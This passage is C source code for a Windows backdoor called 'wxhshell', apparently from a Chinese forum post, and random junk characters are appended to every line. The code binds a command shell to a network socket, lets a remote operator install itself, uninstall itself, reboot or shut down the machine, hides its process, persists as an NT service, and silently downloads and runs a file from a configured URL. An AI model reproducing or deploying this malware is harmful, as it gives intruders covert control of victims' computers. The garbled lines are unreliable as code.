  case '?': { b+6\JE^Mz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A '5,LfTu  
    break; DYxCQ D  
  } [@b&? b~K  
  // 安装 )~] (&  
  case 'i': { NzOo0tz:  
    if(Install()) IS 2^g>T#1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_tT<5'[$u  
    else D (m j7oB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;y\IqiA{o  
    break; 5^lxj~ F  
    } V7P&%oz{C  
  // 卸载 au=o6WRa  
  case 'r': { Hx*;jpy(2  
    if(Uninstall()) tEKmy7'#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G) 7;;  
    else Q[pV!CH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /bi[ e9R  
    break; \LppYXz  
    } M)N?qRD  
  // 显示 wxhshell 所在路径 U`d5vEhT  
  case 'p': { 27"%"P.1  
    char svExeFile[MAX_PATH]; \cUNsB5  
    strcpy(svExeFile,"\n\r"); ]0)|7TV*  
      strcat(svExeFile,ExeFile); 7=WT69,&  
        send(wsh,svExeFile,strlen(svExeFile),0); (>GK \=:<  
    break; `[)YEg s  
    } %i-c0|,T4  
  // 重启 _m'Fr 7  
  case 'b': { r{ef.^&:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ZhraSI) G  
    if(Boot(REBOOT)) hKjt'N:~ZY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s6zNV4  
    else { `_{`l4i 5  
    closesocket(wsh); h`k"A7M  
    ExitThread(0); /[)qEl2]K  
    } 5sJJGv#6  
    break; H_ox_ u}  
    } Nkl_Ho,  
  // 关机 @$c\d vO  
  case 'd': { W"'iIh)z `  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }J1tdko#  
    if(Boot(SHUTDOWN)) .CU5}Tv-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mkF"   
    else { qX   
    closesocket(wsh); Boz@bl mCB  
    ExitThread(0); wl$h4 {L7  
    } Y2SJ7  
    break; 0[*qY@m:Z  
    } wK-3+&,9  
  // 获取shell z3M6V}s4  
  case 's': { w1"nffhO  
    CmdShell(wsh); 8C~]yd  
    closesocket(wsh); MP 2~;T}~  
    ExitThread(0); "7V2lu  
    break; :8+Nid)  
  } ,JN8f]a^"g  
  // 退出 yi%-7[*]=  
  case 'x': { RYl>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cwWodPNm  
    CloseIt(wsh); 2e9es  
    break; fKeT~z{~  
    } q**G(}K  
  // 离开 [7S} g  
  case 'q': { dW~*e2nq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i35=Y~P-  
    closesocket(wsh); ^?]%sdT q  
    WSACleanup(); Yvjc1  
    exit(1); -'BA{#e}L  
    break; zs*L~_K  
        } (RZD'U/B  
  } ,gOOiB }  
  } sWblFvHqrU  
SD$h@p=!=  
  // 提示信息 eI:C{0p=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xz{IH,?IG  
} g[7#w,o  
  } 16i "Yg!*  
J8)#PY[i4  
  return; P7MeX(Tay  
} V6#K2  
S'B|>!z@  
// shell模块句柄 Y +\%  
int CmdShell(SOCKET sock) y K2^Y]Ku?  
{ '@CR\5 @  
STARTUPINFO si; OP|8Sk6 r  
ZeroMemory(&si,sizeof(si)); e-*.Ca  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZMLg;-T.&4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3UQ;X**F  
PROCESS_INFORMATION ProcessInfo; deixy. |  
char cmdline[]="cmd"; 1, ~SS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %ck]S!}6  
  return 0; 70mpSD3  
} 'X !?vK^]p  
&0(  
// 自身启动模式 [.*;6y3  
int StartFromService(void) f'{]"^e=  
{ ku a) K!  
typedef struct X2i}vjkY  
{ ${nX:!)  
  DWORD ExitStatus; 3LTcEd  
  DWORD PebBaseAddress; n` TSu$  
  DWORD AffinityMask; ?zJOh^  
  DWORD BasePriority; B8%{}[q  
  ULONG UniqueProcessId; GMZv RAu i  
  ULONG InheritedFromUniqueProcessId; j"@93D~  
}   PROCESS_BASIC_INFORMATION; *[R eb %  
j>/ ,$H  
PROCNTQSIP NtQueryInformationProcess; U Gpu\TB  
x5WW--YR+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4[-*~C|W5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JiU9CeD3  
ZzBQe  
  HANDLE             hProcess; STw#lU) %(  
  PROCESS_BASIC_INFORMATION pbi; (q7 Ry4-  
~/ilx#d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^F"iP7   
  if(NULL == hInst ) return 0; @*DyZB  
-+em!g'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T=:]]nf?M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4r0b)Y &I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yl$SW;@  
5pRV 3K{H  
  if (!NtQueryInformationProcess) return 0; D^;*U[F?  
.*JA!B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'vaLUy9]  
  if(!hProcess) return 0; _:B1_rz7,  
rzI|?QaPi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wt9Q;hK  
Q 9&kJ%Mo  
  CloseHandle(hProcess); 3QOUU,Dt$  
a9?y`{%L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?kz+R'  
if(hProcess==NULL) return 0; ^p/Ob'!  
N9<Ujom  
HMODULE hMod; h}Wdh1.M3  
char procName[255]; 1uk 0d`JL  
unsigned long cbNeeded; 3o|I[!2.  
,mL !(US  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k%op> &  
<JwX_\?ln  
  CloseHandle(hProcess); !;!~n`  
b2b75}_A  
if(strstr(procName,"services")) return 1; // 以服务启动 Y05P'Q  
}/,CbKi,+  
  return 0; // 注册表启动 on7I l  
} oq_6L\ ~  
EIf ~dOgH  
// 主模块 \OpoBXh  
int StartWxhshell(LPSTR lpCmdLine) *I?Eb-!t  
{ mG1 IQ!  
  SOCKET wsl; _ZAchzV  
BOOL val=TRUE; %,*G[#*&  
  int port=0; nD2, !71  
  struct sockaddr_in door; Wi}FY }f  
9cv]y#  
  if(wscfg.ws_autoins) Install(); TV}}dw  
x)_@9ldYv  
port=atoi(lpCmdLine); m%8q Zzqk  
DBs*F x[  
if(port<=0) port=wscfg.ws_port; 1]T`n/d V  
2 qO3XI  
  WSADATA data; {3Vk p5%l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U\?g*  
g3%t8O/M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [;b=A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kV Rn`n0  
  door.sin_family = AF_INET; /+3a n9h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N6[i{;K@N{  
  door.sin_port = htons(port); Gj /3kS~@  
~/tKMS6T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }p9F#gr  
closesocket(wsl); +/+P\O  
return 1; D=)f )-u'  
} T/P7F\R  
d'9:$!oz  
  if(listen(wsl,2) == INVALID_SOCKET) { 9><mp]E4  
closesocket(wsl); r CRgzC  
return 1; 41 vL"P K  
} i NWC6y  
  Wxhshell(wsl); -NBiW6b~  
  WSACleanup(); ,A5)<}  
%:qoV0DR  
return 0; @)8]e S7  
XO F1c3'H  
} #m8sK(#lo  
p '{xoV  
// 以NT服务方式启动 })IO#,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &(xUhX T  
{ r++i=SQax  
DWORD   status = 0; :<~7y.*O{  
  DWORD   specificError = 0xfffffff; ~mN% (w!^  
)J3kxmlzQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ".~{:=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6b Z[Kt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #rYENR[  
  serviceStatus.dwWin32ExitCode     = 0; y$tX-9U  
  serviceStatus.dwServiceSpecificExitCode = 0; ER{3,0U  
  serviceStatus.dwCheckPoint       = 0; aP>37s  
  serviceStatus.dwWaitHint       = 0; qU[O1bN  
}o9Aa0$*$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]9S`[c$  
  if (hServiceStatusHandle==0) return; S C_|A9  
yD)"c .  
status = GetLastError(); " B@jfa%  
  if (status!=NO_ERROR) pyW u9  
{ =<<3Pkv7@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ? 4)v`*  
    serviceStatus.dwCheckPoint       = 0; r[Zq3  
    serviceStatus.dwWaitHint       = 0; q?~Rnv  
    serviceStatus.dwWin32ExitCode     = status; *[kxF*^  
    serviceStatus.dwServiceSpecificExitCode = specificError; [B?z1z8l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f e $Wu  
    return; oVB"f  
  } b5e@oIK  
uiBTnG"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I*1S/o_xI  
  serviceStatus.dwCheckPoint       = 0; PtKTm\,JL0  
  serviceStatus.dwWaitHint       = 0; Ws49ImCB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X$wehMBX  
} 9|!j4DS<  
;>2#@QP  
// 处理NT服务事件,比如:启动、停止 vg8O] YF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BEw{X|7  
{ 5z]\$=TE  
switch(fdwControl) $ehg@WK}.  
{ v29G:YQe  
case SERVICE_CONTROL_STOP: "~p+0Xws9  
  serviceStatus.dwWin32ExitCode = 0; G+Dpma ]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;WI]vn  
  serviceStatus.dwCheckPoint   = 0; Xi~9&ed#$i  
  serviceStatus.dwWaitHint     = 0; PX3  
  { h}=M^SL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \OHv|8!EI@  
  } $+:(f{Va*  
  return; ` X+j2TmS  
case SERVICE_CONTROL_PAUSE: A'"-m)1P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DA LQ<iF  
  break; EE%s<_k`  
case SERVICE_CONTROL_CONTINUE: M g!ra"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y5jYmP<  
  break; If}lJ6jZ  
case SERVICE_CONTROL_INTERROGATE: 'H=weH  
  break; Gm&2R4)EP  
}; U4_"aT>M y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gGKKs&n7  
} :z~!p~  
w4:<fnOM  
// 标准应用程序主函数 \X@IkL$r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J#7(]!;F  
{ R[ yL _>  
z Z%/W)t  
// 获取操作系统版本 )bYez  
OsIsNt=GetOsVer(); H%Y%fQ ~^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dB`b9)Tk0z  
YMAQ+A!  
  // 从命令行安装 ^"tqdeCb=  
  if(strpbrk(lpCmdLine,"iI")) Install(); I>((o`  
O: u%7V/  
  // 下载执行文件 2xmT#m  
if(wscfg.ws_downexe) { <PD|_nZT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HtzMDGV<  
  WinExec(wscfg.ws_filenam,SW_HIDE); qWB%),`j>  
} q 22/_nSC  
%}F"*.  
if(!OsIsNt) { deM~[1e[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~N[|bPRmhE  
HideProc(); 3zb)"\(R  
StartWxhshell(lpCmdLine); ma7fDo0,`h  
} <R~KM=rL  
else Cj$H[K}>  
  if(StartFromService()) d[U1.SNL  
  // 以服务方式启动 5<r)+?!n  
  StartServiceCtrlDispatcher(DispatchTable); a paIJ+^[  
else \Ut S>4w\  
  // 普通方式启动 l%bq2,-%  
  StartWxhshell(lpCmdLine); oYq E*mA  
\G=bj;&eF  
return 0; \DyKtrnm%  
}
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只看该作者 1 发表于: 2006-10-10
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